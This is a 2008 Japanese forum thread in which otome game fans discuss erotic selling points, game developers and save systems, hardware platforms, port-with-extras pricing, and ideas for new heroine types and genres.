エロ狙ってるのにエロさを感じないのとか見ててイラッとすんだよね
- 757 名前：751 ：08/05/03 23:57:46 ID:???
- 朝やってるアニメのイメージがあるんじゃなくて
夕方やってるアニメと朝やってるアニメくらいの差を感じるってことです
主観すぎる上に説明が下手でもうしわけない…
- 758 名前：名無しって呼んでいいか？ ：08/05/04 00:02:49 ID:???
- >>756
ちゃんとエロさを感じられればエロ狙いでもいいってことかｗ
て冗談はともかく、「エロイのが好きだが18禁に手が出ない」って
厨狙いのエロ描写だろうから18禁になんて行かないだろうな
- 759 名前：名無しって呼んでいいか？ ：08/05/04 00:10:20 ID:???
- エロだと厨が釣れるんだろうけどそれがメインみたいなノリは勘弁してほしい。
ちょっとした味付けとかじゃなくてそういう要素ありきのゲームが増えたと思う。
人に勧める時に挙げる良い所がエロ要素が萌えるみたいなのは嫌だな。
- 760 名前：名無しって呼んでいいか？ ：08/05/04 00:33:39 ID:???
- あーわかるな
私は微エロはそんなに嫌いじゃない（勿論モノにもよるけど）んだけど
だからってそれをウリにするのはなんか違うなあと思う
恋愛過程のひとつとしてあるくらいが良い
- 761 名前：名無しって呼んでいいか？ ：08/05/04 00:43:57 ID:???
- >>754
またテンキーなのかｗ
そこそこどころかコンマイの恋愛系ゲームの下請けやってる所だ。
- 762 名前：名無しって呼んでいいか？ ：08/05/04 01:04:31 ID:???
- >>761
製作にはそれほど不安要素はないってことかな？
CSでも大きなバグがあったりするらしいから
少しでも安心できる会社があるっていいことだ
- 763 名前：名無しって呼んでいいか？ ：08/05/04 01:52:51 ID:???
- テンキーはコンマイの以外にも色々関わってたと思う
乙女ゲーだと下請け系はあまり話題にならないから
その辺の社名が出てきても反応する人は少ないだろうけどね
- 764 名前：名無しって呼んでいいか？ ：08/05/04 09:44:36 ID:???
- テンキーはフルキスにも関わっているはず
そこそこ良いゲームになるんじゃないの
- 765 名前：名無しって呼んでいいか？ ：08/05/04 11:35:08 ID:???
- フルキスってシステム最悪じゃないか…
- 766 名前：名無しって呼んでいいか？ ：08/05/04 13:02:33 ID:???
- フルキスやってないんで、どう最悪だったのかも書いてくれると嬉しい。
議論スレでもシステムの改良点とか希望ってあまり話題にならないし。
- 767 名前：名無しって呼んでいいか？ ：08/05/04 13:03:17 ID:???
- 2は良くなってたよ
- 768 名前：名無しって呼んでいいか？ ：08/05/04 13:31:02 ID:???
- 自分は１しかやってないがシステム含めてゲームで気になったのが、
・セーブロード時間が長すぎる。
・家政婦パートが作業になりすぎでしかももっさり。
・漫画のカットインみたいな演出が重いしうっとおしい。
・この周回に不向きなシステムであのＥＤ数は無い。
・シナリオ金太郎飴で単純。
・顎。
ってところだったよ。２では改善されてたの？
大手の方がゲームのシステムは拘ってるのかも知れないけどシナリオは
イベントごとにキャラすげ替えみたいな金太郎飴多いよね。
個人的には個別のルートに入ると大幅に視点やシナリオ変わる方が好きだと
フルキスをプレイして再認識した。
- 769 名前：名無しって呼んでいいか？ ：08/05/04 13:44:13 ID:???
- セーブデータ容量大きいし、コピーできない・消せないのも困ったな ＞無印フルキス
２はいつでもクイックロード・セーブもあってそれなりに快適だったよ
無印よりは金太郎飴じゃなかったし
面白いかどうかは別として
- 770 名前：名無しって呼んでいいか？ ：08/05/04 13:53:36 ID:???
- > 面白いかどうかは別として
そこが一番肝心なんじゃないか(；´Д｀)
- 771 名前：名無しって呼んでいいか？ ：08/05/04 14:33:44 ID:???
- 2も基本的には金太郎だったと思ったけどな
基本シナリオは一本道
…金太郎飴の解釈が間違ってるんだろうか
フルキスシリーズは無駄にED数あるし1週長いのにスチルコンプのオマケがある
コンプするには最後のEDスチル1枚の為に何週もしないといけない
個人的にキャラを振らないと見れないEDがあるのが何より嫌だった
- 772 名前：名無しって呼んでいいか？ ：08/05/04 14:37:26 ID:???
- >>768
ありがとう、2で改善されてる点もあるようだね
セーブロード関係ってたまに不満が出るけど作るのが大変だったりするのかな？
最近だと白銀がセーブ3つしか出来なかったみたいだけど
何でわざわざそんなに少なくしたんだろう
- 773 名前：名無しって呼んでいいか？ ：08/05/04 21:15:18 ID:???
- 意図して少なくしたんじゃなくて、何らかの理由で多く出来なかったんじゃないの？
- 774 名前：名無しって呼んでいいか？ ：08/05/04 22:20:44 ID:???
- 意図的に少なくしたのならリサーチ不足
何らかの理由なら技術面での努力不足
- 775 名前：名無しって呼んでいいか？ ：08/05/04 22:58:09 ID:???
- つーかテンキーとかもそうだけど、実際制作してるところが委託とかなら
仕様書にも問題があるったり、お金の都合で仕様を削らないといけなかったりするらしいから
一概に努力不足だとかリサーチ不足だとか言えない。
そこは事情を知ってる人でないとわからないと言うしかない。
- 776 名前：名無しって呼んでいいか？ ：08/05/04 23:47:35 ID:???
- 事情があろうと無かろうと作品がうんこならユーザーとしてはもっと頑張ってくれよと
言いたいけどな。セーブ3は明らかに妥協しちゃいけない部分。
白銀は悪い意味で後に引かないというかいまいち心に残らなかったな。
- 777 名前：名無しって呼んでいいか？ ：08/05/04 23:48:35 ID:???
- どんな事情があろうと、買った人間に言わせりゃ糞使用は糞使用。
その糞使用を世に送り出しちゃった時点でアウトだ。
- 778 名前：名無しって呼んでいいか？ ：08/05/05 01:57:53 ID:???
- 理由はわからないと言いたかっただけで、事情があるかもしれないから
許してあげてよと言いたかったわけじゃないんだけどな〜。
まあ、制作の下請けについては
○○を作ったから良いところ、悪いところとは一概には言えないってこったね。
そりゃまったく駄目と評判のところもあるけど。
- 779 名前：名無しって呼んでいいか？ ：08/05/05 09:58:26 ID:???
- >>778
後半同意。
でも、下請けまで気にする人間なんて一握りだと思うんだよね
例えばシステムはＡ社、シナリオはＢ社、販売はＣ社だった場合
Ｃ社の商品として売り出されるわけで、
一般的なユーザーはＡ社やＢ社の方に目を向けたりはしないでしょ
興味本位でテンキー公式見てみたら目玉がどっか行ったよｗ
- 780 名前：名無しって呼んでいいか？ ：08/05/05 18:50:02 ID:???
- まあD3ゲーは社内でいくつかのチームに分かれて
作られてるとか思ってる人もいたりするしな…
この板じゃ開発元に注目する人の方が多いけど
- 781 名前：名無しって呼んでいいか？ ：08/05/07 09:40:53 ID:???
- Ｄ３（ヒューネックス）はクイックセーブ・ロード、既読のみスキップ等システム周りが快適で嬉しかった。
しかしこれからのハード末期ＰＳ２ではロクな乙女ゲー出ないと思ったほうが良いのではないだろうか
ドリキャス（古い話だが）の末期は「テキスト読むだけ低予算ギャルゲ」が乱発されてたし
期待するなら携帯機だな
PS3は乙女ゲ参入なんて他ジャンルの一番後だろうし、Wiiは家族向けが多いし・・・
- 782 名前：名無しって呼んでいいか？ ：08/05/07 12:19:28 ID:???
- Wiiに家族向けが多く見えるのはPS、PS2がコアユーザー向けだったから
ほとんどそういうソフトがなかったせいじゃない？
売れてるハードなだけあって多種多様なソフトが出てるよ
でも今のところどちらのハードも乙女ゲには向いてない気もするけどね
Wii専用じゃないけど遥か4でどうなるのかちょっと興味深い
- 783 名前：名無しって呼んでいいか？ ：08/05/07 16:52:36 ID:???
- 確かにwiiは乙女ゲー向いてなさそうだよなぁ
というか正直ヌンチャクとかやりづらい
DSも乙女ゲーに求められているものを考えるとどうなんだろうという部分もある
かと言ってここでPSPもないだろうしｗ
やっぱり今後はDSなのかなぁ
- 784 名前：名無しって呼んでいいか？ ：08/05/07 18:19:40 ID:???
- ＞というか正直ヌンチャクとかやりづらい
リモコンの方だけで十分な気がする
ドリームキャストがギャルゲ専用機になったように、PS2もそんな感じになりそうだなぁ
- 785 名前：名無しって呼んでいいか？ ：08/05/07 18:20:49 ID:???
- どうしてWiiの特殊なコントローラー捌きに拘るんだ？
普通に横持ち操作のADVが出てくれればそれでいいじゃないか
公式が押し出してるせいで印象が強いのは確かだけど
Wiiのソフトにも横持ちで普通の操作しかしない作品だってあるよ？
別にWiiで出て欲しいってわけでもないけどｗｗｗ
携帯機にシフトするよりはPCに移行してくれた方が嬉しいな
もちろんゲーム内容にもよるけど、シナリオを読み込むタイプのゲームは
あまり携帯機に向かない気がするんだよね
- 786 名前：名無しって呼んでいいか？ ：08/05/07 18:37:56 ID:???
- >>785
いやそういうのならそれで構わないんだけどさ
下手にあれを使おうとして微妙なゲームが出るのもなぁと思って
まぁとりあえずPS2で出てくれればしばらく問題ないとは思うけど…
私も携帯機よりは据え置き機派かなぁ
- 787 名前：名無しって呼んでいいか？ ：08/05/07 18:58:27 ID:???
- >>785
ＰＣに移行するには、もっと普及率が上がらないと無理じゃないかなあ
ＰＣ買ってもゲーム、しかも乙女ゲしかしないって人からすれば
安価なものですら10万近くするＰＣに手は出にくそう
>>786
確かにむりやりミニゲームにヌンチャク操作入れそうな感じはする
- 788 名前：名無しって呼んでいいか？ ：08/05/07 19:03:30 ID:???
- 自分も据置orPC派なのでDSオンリーになるとつらいな。
いっそのことウィーボまで使いまくった乙女ゲーどっかだしてくれないかな。
萌えfitとか、萌えスキーとかｗ
売れないだろうけど。自分はウケ狙いで買ってしまいそうｗ
- 789 名前：名無しって呼んでいいか？ ：08/05/07 19:13:58 ID:???
- ＰＣはマカー切捨てが置きやすいからなあ
遙か２の時それで散々発売前に言われてた
最近は又事情が変わってるけど
- 790 名前：名無しって呼んでいいか？ ：08/05/07 19:27:01 ID:???
- >>787
今ＰＣってそんなに普及率低いもんなの？
家族一人一台がデフォみたいな記事をなにかで読んだ
普及率云々は置いておくとしてもサポート関係が怖いなって思う
ロゼみたいに極端なのは無いかも知れないけど男性向けでもきちんとサポートできないメーカーあるし
メーカーだけでなくユーザーもスペック足りてないのに買って公式ﾋﾞﾋﾞｴｽで文句言うとかしてるし
私個人としてはＰＣゲ好きなんだけどね
- 791 名前：名無しって呼んでいいか？ ：08/05/07 19:29:52 ID:???
- >>785
＞シナリオを読み込むタイプのゲームは
あまり携帯機に向かない気がするんだよね
そうかな…？
逆に携帯機のほうがシナリオ読むのに向いてると思うんだが。
細切れの時間でもできるし、寝転んだり風呂に持ち込んだりという
プレイスタイルに向いてるんじゃないかと思うんだけど、どうだろう
- 792 名前：名無しって呼んでいいか？ ：08/05/07 19:32:37 ID:???
- 字が小さいと目がｼﾊﾟｼﾊﾟしてくるんだよなぁ
- 793 名前：名無しって呼んでいいか？ ：08/05/07 19:46:01 ID:???
- どうでもいいけど、ヌンチャクって十字キーのほうだよね？
- 794 名前：名無しって呼んでいいか？ ：08/05/07 19:49:26 ID:???
- テキストボックスをあまり大きく出来ないから、
文字数や文字サイズの制限は（据え置きやPCに比べると）
若干きつくなるかな
携帯機の方が確かに手軽だし細切れプレイもできる
でも一気にプレイするとなるとまた話は変わってくると思うんだ
そういう意味では携帯、据え置き、どちらに特化するのではなく
そのゲームがどちらに向いているかの方が重要なのかも
- 795 名前：名無しって呼んでいいか？ ：08/05/07 19:50:42 ID:???
- >>793
ヌンチャクについてるのはアナログスティックじゃない？
十字キーはWiiリモコンの方についてるよ
- 796 名前：名無しって呼んでいいか？ ：08/05/07 19:54:31 ID:???
- >>796
？
ttp://www.nintendo.co.jp/wii/controllers/index.html
ヌンチャクじゃないの？
- 797 名前：名無しって呼んでいいか？ ：08/05/07 21:25:54 ID:???
- >>796
十字キーとAとかBとかボタンがついてる方がリモコンだよ
ヌンチャクはアナログスティックと裏側にボタンが一つだけだったはず
関係ないけどPS2みたいなコントローラーに慣れてるからあれ握ってても落ち着かないんだよねｗ
まぁwiiはとりあえず遙か4がどうなるか…
ヌンチャク非対応って話だった気がするけどリモコンのみで操作するのかね
別売りのクラシックコントローラーとか買う必要があるのか？
でもどれ位売れるんだろうな、PS2と内容同じ同時発売で
- 798 名前：名無しって呼んでいいか？ ：08/05/08 01:17:42 ID:???
- >>797
いや、だからヌンチャクでしょ
ヌンチャクを振ったりしないし
あのヌンチャクがプレイし辛いとかよーわからなくない？
- 799 名前：名無しって呼んでいいか？ ：08/05/08 01:28:27 ID:???
- >>797
Wiiは持っていないが、
遙か4についてはヌンチャク対応・クラコン非対応らしい
限定版がPS2版にしか用意されていないし、
追加ディスクがPS2のみかもしれないという考えから
（つか、最初から追加ディスクの心配がされているあたり肥らしいが）
Wii版を購入する人は少ない印象
もとよりWii本体を持っていない人も多いようだしな
- 800 名前：名無しって呼んでいいか？ ：08/05/08 01:50:01 ID:???
- >>798
>793から続くレスじゃないのか？
アナログスティックは十字キーじゃないぞ
- 801 名前：名無しって呼んでいいか？ ：08/05/08 01:53:22 ID:???
- >>798
ゼルダではヌンチャクを前に突く（？）と盾アタックが出来たような？
あまり使ってない技だから記憶が曖昧なんだけど…
でも乙女ゲーで複雑な操作はないだろうから心配なさそう
- 802 名前：名無しって呼んでいいか？ ：08/05/08 02:23:54 ID:???
- >>800
ああ、そういうことか
アナログスティックが使いにくいんであって
ヌンチャク振り回すとかは関係ないのか
>>801
ヌンチャクのほうはセンサーついてないから動かしても反応ないと思うんだけどどうだろ
- 803 名前：名無しって呼んでいいか？ ：08/05/08 02:32:06 ID:???
- ヌンチャクもセンサーついてるみたい。
>>796のページに書いてあった。
- 804 名前：名無しって呼んでいいか？ ：08/05/08 06:56:35 ID:???
- Wiiは「くりーんきーぱー」とか明らかに家族向けじゃないのも出してるから、６４やGCよりは冒険してくれそう
PCソフトはロードが無いのが良いし、コンシューマ機で出すものよりユニークなシナリオが多かったりするから
好きだけど、如何せんソフトが高い
- 805 名前：名無しって呼んでいいか？ ：08/05/08 09:03:59 ID:???
- >>802
リモコン、ヌンチャク両方にセンサーついてるけれど
センサーを反応させるかどうかは、ゲームによるんだから関係ないよ
- 806 名前：名無しって呼んでいいか？ ：08/05/08 13:05:44 ID:???
- >>802
ヌンチャクも別に使いにくくないと思う
掌サイズでボタン一個（PS2で言うならL1ボタン的なもの）とアナログスティックだから
PS2コントローラーの左側をもぎ取って、握りこんで使ってる感じだよ
- 807 名前：名無しって呼んでいいか？ ：08/05/08 13:11:38 ID:???
- wiiの使い勝手談義になってくるとスレ違いだろｗ
まぁしばらくはPS2だろうけど…どのハードもそれぞれ違う問題がありそうだよね
>>794の言う通りどういうゲームをどのハードで出すかが問題なのかな
- 808 名前：名無しって呼んでいいか？ ：08/05/08 13:26:29 ID:???
- いろんな場所で手軽に楽しめる携帯機
環境依存などを考えずにしっかり楽しめる据え置き機
快適なシステムでじっくり楽しめるＰＣ
って感じだろうか
どれも一長一短な現状では、作る側も選ぶのが大変そうだ
と、こう書いていて疑問に思ったんだけど、ハード間移植を抜きにした場合
PS2が多いってのは分かるんだけど、次点ってもしかしてＰＣなのかな？
- 809 名前：名無しって呼んでいいか？ ：08/05/08 14:58:19 ID:???
- >>808
現状そうなるのかなぁ…隣板でも割と出てるし
DSは増えてきたって言っても全部移植だから新規でってなると少ないよね
- 810 名前：名無しって呼んでいいか？ ：08/05/08 18:42:38 ID:???
- >>808
ざっと数えてみたけど初出だけならPS2が45、PCが27
原作付き・一般ゲ・リメイク・FD除く、続編・未発売作品含む
ついでにDSで新規は今のところデュエルとコミックガーデンだけ
思ったよりPC多いんだなー
ユーザーの数は個人的にPS2の半分もいないイメージだったけど
- 811 名前：名無しって呼んでいいか？ ：08/05/08 18:59:28 ID:???
- >>810
少し低年齢向けだけど、「うわさの翠くん!!夏色ストライカー」がある
第2弾も出るらしいしな
- 812 名前：名無しって呼んでいいか？ ：08/05/08 19:09:31 ID:???
- >>810
開発が一番手軽・低コストでできるからね。
それこそ同人でPC乙女ゲ作ってる人もいるし、
その延長上にあるような小規模な会社でも参入できる。
- 813 名前：名無しって呼んでいいか？ ：08/05/08 19:26:29 ID:???
- >>811
ごめん、上記の通り原作付きのものは数に入れてない。
原作付きや恋愛要素あり女児向けゲーを入れるとかなり増えると思う。
- 814 名前：名無しって呼んでいいか？ ：08/05/08 21:28:30 ID:???
- コルダとかもPC版が先だったよな？
やっぱ作り易いのか
個人的には最近据え置きよりもＰＣの方が好きだけど
不慣れな人にはハードル高いんだよな
- 815 名前：名無しって呼んでいいか？ ：08/05/08 21:34:32 ID:???
- コンシューマーのゲームもPCで作るんだから
後の調整がない分だけPCで出す方が楽なのは道理じゃないか…？
- 816 名前：名無しって呼んでいいか？ ：08/05/08 22:28:04 ID:???
- 使用環境に差が出ないコンシューマーに比べて、PCはパーツ構成で相性問題も出るし大変だと思う
ま、PCの方が商品単価高いし利率はいいのかもしれないけど
- 817 名前：名無しって呼んでいいか？ ：08/05/08 22:37:27 ID:???
- 1本辺りの利率は高くても本数売れないんじゃあまり意味なさげだが、
開発コスト的にはどれくらい違うのかな
- 818 名前：名無しって呼んでいいか？ ：08/05/09 21:09:38 ID:???
- PCゲーは同人でも作れるという面から考えれば大凡の予想はつくんじゃないかな
そこにボイスだの何だのと上乗せするわけだけど、その点はコンシューマーでも同じだし
コンシューマーの場合はまず開発環境ありきだからね
PCの同人ADVならフリーの素材と作る人間の才能の幅次第でかなり費用を絞り込めるよ
ちょっと気になって購入相談スレを改めて眺めてみたら
PCもOKって人が思ったよりいて驚いた
その辺りの層が厚くなったら状況はまた変わってくるのかもしれないな
- 819 名前：名無しって呼んでいいか？ ：08/05/09 21:29:31 ID:???
- 2ちゃんねるの書き込みだから偏りはあると思うよ＞PCもOK
PCゲームは作ることよりもサポートの方が大変そうだなぁ
インストールって何ですか？って聞かれたら一瞬戸惑いそう
エロゲではインストーラーがないゲームがあったらしいけど…
- 820 名前：名無しって呼んでいいか？ ：08/05/10 22:19:16 ID:???
- http://mamono.2ch.net/test/read.cgi/newsplus/1210414522/l50
これの1-2を読むと、所詮乙女ゲーも男同士をいちゃつかせるための
名目にしか思ってない馬鹿が多いんだろうなあ、と思ってしまった
ネオロマを狭義の腐女子呼ばわりとか
デュエルのＰみたいなのが世間一般の認識なんだろうなあ…
- 821 名前：名無しって呼んでいいか？ ：08/05/11 02:01:28 ID:???
- 単に女ヲタ＝腐女子
でホモが嫌いな女なんか居ません！
て信じ込んでるんじゃない？
- 822 名前：名無しって呼んでいいか？ ：08/05/11 12:15:18 ID:???
- 男どころか
女でもいるからな、そういう人
- 823 名前：名無しって呼んでいいか？ ：08/05/12 19:42:56 ID:???
- 主人公の性別を問わず、男を落とすゲーム→BLゲームと思ってる人もいたな
まぁ、世間にどう思われようがどうでもいいんですけどねｗ
- 824 名前：名無しって呼んでいいか？ ：08/05/13 22:16:16 ID:???
- 日常描写の中に恋愛があるというより
非日常の中での恋愛（ある日突然普通の生活が一変というような）ってゲームが多いと思うんだけど
戦い+恋愛だったり育成+恋愛なゲームが多いよね
好きな相手に守られるパターンと自分も戦って好きな相手を守りたいというパターン
今だとどっちにしてもありきたりだけどｗ
組み合わせて面白そうなのって他には何があるんだろう
推理要素とか？
- 825 名前：名無しって呼んでいいか？ ：08/05/13 23:35:02 ID:???
- 言いたいことはわかった上で、推理も日常ではない件ｗ
それに学園物のADVは比較的日常ベースだと思うんだけどな
日常的な、という部分に拘るなら経営シミュが比較的相性がいいんじゃないかと思う
あとは色々な意味で非現実的だけど、RTSで恋愛要素ありってゲームにはお目にかかった事がないわｗ
- 826 名前：名無しって呼んでいいか？ ：08/05/14 04:48:00 ID:???
- シューティングなんかは？
相棒と一緒にミッションこなして、高得点を取ったり昇格したり
一緒に行動する時間が長い程、信頼度とか上がって恋愛関係になるとか
ヘマばっかしてると死別EDももちろんあって
- 827 名前：名無しって呼んでいいか？ ：08/05/14 09:11:45 ID:???
- >>825
>>824だけど非日常の中の恋愛って観点で組み合わせるとしたら他に相性がよさそうなって何かなぁって思ってｗ
キャラは勿論なんだけど設定も似たりよったりのゲームが増えてきたしさ
読み返すと言葉が足りてないな…すまんorz
- 828 名前：名無しって呼んでいいか？ ：08/05/23 18:30:59 ID:???
- 829 名前：名無しって呼んでいいか？ ：08/06/06 09:56:48 ID:???
- 良いスレなのに過疎ってるな
- 830 名前：名無しって呼んでいいか？ ：08/06/06 12:19:01 ID:???
- もう出尽くした感があるっていうか基本的にループ
議論って言うより要望とか愚痴に傾きやすいけど
それなら他のスレでも事足りるんだよね
- 831 名前：名無しって呼んでいいか？ ：08/06/06 22:09:35 ID:???
- このスレが伸びるときって
新作ゲームで何か過去にない例が起きた（大抵は悪い意味で）→それについて自分の意見を書く
って感じだったからな
最近はその役割が総合アンチに移ってるから、過疎るのも無理ない気がする。
- 832 名前：名無しって呼んでいいか？ ：08/06/07 07:37:12 ID:???
- デュアルとか？w
- 833 名前：名無しって呼んでいいか？ ：08/06/07 10:04:31 ID:???
- ここで色々と議論されても実際にはほとんど発展してないから
もう諦められてるんじゃ？
- 834 名前：名無しって呼んでいいか？ ：08/06/07 13:29:19 ID:???
- ここで議論するよりまだアンケート出す方が建設的だしなあ…
製作側がここ見ててなおかつ参考にしようとでも思わない限り
買うこっちが議論してもあまり意味ないし……まあみもフタもないけど
- 835 名前：名無しって呼んでいいか？ ：08/06/08 01:29:48 ID:???
- 個人的には、本スレとか雑談とかで扱うにはちょっと濃すぎる
（ストーリーとは関わりがない部分なんかの）話題はこっちでと思うんだけど、
なかなか誘導のタイミングが掴めない… orz
時期的に新情報が出てこないというのもスレが止まる原因かもね
次のラッシュは夏あたりなのかな？
- 836 名前：名無しって呼んでいいか？ ：08/06/08 17:47:08 ID:???
- 雑談スレで興味深い話交わされてても
新しい話題が出るとそれで終わっちゃったりするから
もったいないなと思う
- 837 名前：名無しって呼んでいいか？ ：08/06/10 13:44:01 ID:???
- 最近本当にPS2からおまけを追加でDSって流れ増えてきたなぁ
どうせやるなら新規でしっかりゲーム作ってほしいなと思ってしまう
ゲームとかキャラが好きだと欲しいと思ってしまうけど
その追加要素の為に5000円はぼったくりだと感じてしまうし
PC→PS2も同じだけどね
- 838 名前：名無しって呼んでいいか？ ：08/06/10 14:13:58 ID:???
- PCからコンシューマーへの移植の場合は
往々にして移植専門のメーカーが挟まってるからなぁ…
移植話を持ちかけられた場合、跳ねつける理由はないだろうし
「ベタ移植じゃ売れないだろうから追加要素を」って流れになってるんじゃない？
- 839 名前：名無しって呼んでいいか？ ：08/06/10 14:14:07 ID:???
- 緋色DSの売り上げよかったみたいだし
PS2→DSはこれからもどんどん増えるだろうね。
携帯機ゆえのハンデがあるから、PC→PS2ほど批判が出づらいし。
- 840 名前：名無しって呼んでいいか？ ：08/06/10 14:19:09 ID:???
- はかれなはーととか
数年前のタクヨみたいなやり方は
PC版を買った人間をバカにしてる感じで好きじゃないな
- 841 名前：名無しって呼んでいいか？ ：08/06/10 14:23:50 ID:???
- PS2から携帯機への移植は乙女ゲーに限った話じゃないよね
雑誌を見ても、新作情報の中からリメイクと移植を抜くと
物凄く本数が少なかったりする
- 842 名前：名無しって呼んでいいか？ ：08/06/10 14:29:24 ID:???
- 数年前のタクヨってのは、
KIDと組んでの移植商法のことを指してるんだと思うけど
はかれなはーとの方はわからないな
PC版とPS2版で内容が極端に違うとか？
- 843 名前：名無しって呼んでいいか？ ：08/06/10 14:50:27 ID:???
- はかれなはPC版の中にPS2版○○ルートとか
そういうデータが入ってたみたいだね。
やっぱりメーカーも故意に不完全な状態で出してんだなぁ…と白けた。
- 844 名前：名無しって呼んでいいか？ ：08/06/10 15:27:17 ID:???
- 今の状態だと、ユーザーは「どうせそのうち移植するんだろ」って買わなくなるんじゃないかなと思ったりもする
私個人は携帯機より据え置き機でゲームしたい派だから追加要素があっても携帯機移植のゲームは買わない事が多いけど
いっそPS2とDSで同時発売とかにすればいいんじゃないかと思わないでもないｗ
そしたらプレイしたい方を選べばいいし
- 845 名前：名無しって呼んでいいか？ ：08/06/10 15:54:54 ID:???
- >>844
ＰＳ2版を買わせて、更に追加要素で釣ってＤＳ版も買わせてｳﾏｰ
ができないのでやりません
- 846 名前：名無しって呼んでいいか？ ：08/06/10 20:06:39 ID:???
- 同じゲームを作るんだとしても、
据え置き機とPCと携帯機じゃ色々違ってくるんだぜ
支えられるだけの母体（資金）があったとしても
同時開発なんてのはそうそうできることじゃない
- 847 名前：名無しって呼んでいいか？ ：08/06/10 20:20:34 ID:???
- >>846
乙女ゲーに限らないけど、最終的にはそれをやる流れになって来ているんだよねぇ
PS2版の売上をDSでの開発資金に回すとかしているのなら先に出たのは買ったら損って事になると思うんだ
後出し移植版には追加シナリオとかそういうのがあるゲームがほとんどだし
ある意味一番のぼったくり商法な気がするｗ
- 848 名前：名無しって呼んでいいか？ ：08/06/10 21:06:28 ID:???
- 一般ゲーまで広がってる商法なので、いまさらどうこう言っても企業は変える気ないと思う。
それにユーザーにとってぼったくりだとか、そんなの企業はわかってやってることじゃ？
これについてはまずユーザーの体質を変えた方がいいと思うんだけどなあ。
私は少々追加シナリオがあっても買わないな。
買った時期がかぶらない限り、損した気分になることもあまりないし。
まあゲーム制作って、基本的に重労働で薄給みたいだから、うまい話があったら飛びつくに決まってるし
ＤＳ、ＰＳ２、ＰＣの所持層が完全にかぶりきらないが故の商法と思うので
なくなることはないと思うんだけど。
- 849 名前：名無しって呼んでいいか？ ：08/06/10 21:16:51 ID:???
- ただ、ＰＣ→ＰＳ２については、
ＰＣゲー普及という観点から見ると、移植をしないというのもひとつの手だと思う。
男性向けエロゲーもＰＳ２にたくさん移植されてて、
一応の18歳未満の人たちもプレイできる環境だからという建前が立つけど
18歳未満の人たちだって、購入している人はいるわけで、
基本的には手に取りやすいＰＳ２での販売という、儲け目的が第一と思う。
ただ版権に引っかかるギャグや規制対象のエロがある男性向けエロゲーと違い、
乙女ゲーはグレードアップ版になるしかない。
なので、結構な人数がＰＳ２に流れてくるのを待ってると思う。
ＰＳ２に流れるのを待たせるよりも、18禁とかでＰＣしか作れないものを作り
ＰＣの需要を伸ばすことが後々役に立つんじゃないかと・・・
まあ、そもそも乙女ゲーマーはＰＣゲー環境があまりないし、それは言いすぎか。
- 850 名前：名無しって呼んでいいか？ ：08/06/10 21:28:58 ID:???
- 移植作品って、ゲームの評判とか出来が前もって分かるから、新規の人にとっては買いやすいんだろうね
個人的に、出来のいい移植作より、蓋を開けたら内容がペラペラの新作の方がぼったくられた感が強い
- 851 名前：名無しって呼んでいいか？ ：08/06/10 21:55:05 ID:???
- PC女性向けゲーは大人でも一般でも
HDDクラッシュ系のバグを出したメーカーが色々投げっぱなしにして
PCゲーに対する悪印象をもたせちゃった部分もある気がする
- 852 名前：名無しって呼んでいいか？ ：08/06/10 22:03:18 ID:???
- 移植問題、技術問題で評判が落ち、
ますますＰＣで売れなくなり、移植前提ゲーが多くなる・・・
悪循環だなー。もうどうしようもないのかな？
- 853 名前：名無しって呼んでいいか？ ：08/06/10 22:54:41 ID:???
- 今の所ＰＳ2版が出てないのは今後新作が出るかも怪しい紅茶冠と
キネティックじゃない新作が出なくなって久しい飴くらいか
あまりＰＣ版が売れてなさそうなはかれなが移植してる辺り
移植するか否かとＰＣ版の売れ行きってあまり関係ないのかな
- 854 名前：名無しって呼んでいいか？ ：08/06/10 23:19:21 ID:???
- はかれなはPC版発売以前からPS2版の予定があったみたいだから
売り上げと移植に直接的因果はない（場合もある）んじゃない？
TeaCrownってかイヅナは移植じゃなくて台湾版？が出て、予想の斜め上だった
近日重大発表あり。でも移植じゃないよ！って公式にアナウンスがあったとはいえ
- 855 名前：名無しって呼んでいいか？ ：08/06/10 23:37:27 ID:???
- >>854
TEA-CROWNは中の人ですら
何でイヅナを台湾の人は移植しようとしたんだろう…？って
雰囲気だったよなw
マイナーど真ん中の自覚があるんだろうなw
- 856 名前：名無しって呼んでいいか？ ：08/06/11 07:28:00 ID:???
- イヅナはエリトットが妹で攻略できなかったり、主人公は妹じゃなくて殆ど兄だったり
「どこまで真剣に乙女ゲーを作ろうとしたのか？」と思うゲームだったな
面白いけど
- 857 名前：名無しって呼んでいいか？ ：08/06/11 08:00:51 ID:???
- 設定資料集の乙女ゲーのヒロイン考察とか見ると
乙女ゲーというものへの姿勢は真摯だと思う。
しかしいわゆる「オーソドックスな乙女ゲー」は目指してないだろうな＞イヅナ
イヅナ中国語版の話で思い出したけど
他の乙女ゲーって海外向けに出てたりはしないんだろうか？
日本語版をプレイしたらしき海外の人のプレイ日記は少し見たことあるんだけど。
- 858 名前：名無しって呼んでいいか？ ：08/06/11 08:17:58 ID:???
- 洋ゲーに目を向けてみるとわかると思うんだけど
海外でPCゲーと言うとFPSやRTSの方が主流だからね
逆に海外のADVも完全日本語版が出ることはほとんど無いし
テキスト量が多いものはちょっと難しいんじゃないだろうか
- 859 名前：名無しって呼んでいいか？ ：08/06/11 08:51:40 ID:???
- アメリカ版ときメモ…
- 860 名前：名無しって呼んでいいか？ ：08/06/11 09:14:06 ID:???
- あったなぁ…
あれって一応メーカーはKONAMIなんだよね
一般ゲーだが逆裁や、わりとテキスト量の多いRPGも北米版が出てるので、
問題点はその辺よりもユーザーがいないことじゃないかと思う
ギャルゲーも海外市場での成功例はないようだし
- 861 名前：名無しって呼んでいいか？ ：08/06/11 09:31:58 ID:jmWbp42o
- 主人公の性格が、前向き･勝気ばかり、別の流れがもっとあって良いと思う。
でも、あまり高望みすると、ギャルゲー市場ほど成長してない乙女ゲー市場の
メーカーには負担になると思うから、まずは前向き･勝気とは逆の女の子が
主人公な事をセールスポイントした乙女ゲーが良い。
控えめであまり目立たないけど、誰にでも優しく親切で皆から好かれている。
でも弱い者を守る自己犠牲の気持ちはとても強く「守ってあげたいお姫様」
タイプの女の子。これなら男性陣にチヤホヤされる設定もリアリティが出る。
今流行りのヤンデレとの相性もGood
【例】
（この子は誰にでも優しいから、悪い男に騙される。自分が守らないと）＝
「僕は君だけを見て、こんなに愛してるんだから、君も僕だけ見ていれば
いいんだ！ほかの男になんか優しくする必要は無いんだ！」
そして18禁である事。
- 862 名前：名無しって呼んでいいか？ ：08/06/11 10:04:43 ID:???
- >>861
隣板でやれ
- 863 名前：名無しって呼んでいいか？ ：08/06/11 11:11:47 ID:???
- 理想を抱くのは悪いことではないんだけどね
スレタイを読むのは大事なことです
理想のゲーム像とセールス云々という話題は相性が悪いよなぁ
